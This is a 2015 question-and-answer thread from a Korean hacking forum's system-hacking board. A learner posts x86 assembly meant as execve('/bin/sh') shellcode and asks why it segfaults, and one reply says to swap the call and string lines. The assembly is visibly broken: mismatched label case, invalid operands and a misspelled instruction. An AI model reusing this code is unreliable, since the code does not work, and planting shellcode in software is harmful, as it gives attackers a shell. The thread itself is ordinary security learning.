시스템 해킹

 1576, 1/79 회원가입  로그인  
   duaudths
   쉘코드만들면서 세그먼트폴트 질문입니다.. ㅠㅠ!

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1787 [복사]


.global main
Main:
Jmp come_here
Func:
Movl 0x0b, %eax
Popl %ebx
Movl %ebx, (%esi)
Movl %0x00, 0x4(%esi)
Leal (%esi), %ecx
Movl %0x00, %edx
Int $0x80
Movl $0x01, %eax
Movl $0x02, %ebx
Int $0x80
Come_here:
.string “/bin/sh”
Calll func

문서들을 보면서 쉘코드를 만들고 있는데 세그먼트 폴트가 뜹니다.. 계속 찾아보고 삽질중이나 진척이 없네요 ㅠㅠ 조언좀 부탁드립니다..

  Hit : 4514     Date : 2015/05/02 11:33



    
guswns0528 당연히 세그폴 날거 같은데요
jmp come_here하면 다음에 그냥 "/bin/sh"가 있잖아요?
Call func랑 .string "/bin/sh"위치 바꿔보세요
2015/05/12